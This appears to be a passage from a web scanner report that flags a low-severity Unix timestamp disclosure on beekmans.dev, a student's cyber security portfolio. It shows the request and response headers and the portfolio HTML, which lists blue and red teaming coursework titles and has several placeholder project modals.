modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 000613396Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 080804898, which evaluates to: 1972-07-24 06:48:18
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading 